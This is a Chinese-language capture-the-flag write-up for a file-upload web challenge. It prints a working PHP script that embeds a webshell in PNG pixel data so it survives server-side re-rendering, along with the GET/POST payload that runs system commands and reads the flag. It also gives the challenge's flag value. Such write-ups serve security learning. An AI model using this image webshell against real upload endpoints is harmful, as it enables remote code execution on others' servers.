打开页面。
发现没有什么有用的信息,查看源代码也一样。
于是进行目录扫描:
发现了两个页面。分别打开。
index.html
无用。
upload.html:
是一个文件上传点。
先尝试上传正常图片:
可以看到,文件的临时目录和文件上传后的存储位置。
查看上传后的文件:
可以看到,是以代码的形式显示出来,而不是图片。
也就是说我们可以上传图片马来执行命令。
上传一个php文件:
多次尝试,发现是白名单过滤。而且文件内容还会被重写。我们就想到了二次渲染。
使用外国大神的代码生成图片:
<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'./1.png');
?>
本地搭建php环境。访问文件后,就可以在目录下生成一个1.png的图片。
将图片上传并访问:
可以看到我们的代码被执行了。现在我们查看1.png的内容:
shell语句是:
<?=$_GET[0]($_POST[1]);?>
于是我们构造payload:
GET:
0=system
POST:
1=cat /flag
即可得到flag:
BMZCTF{b93b8ab7a2ac4ca18fe5c6bb0032f550}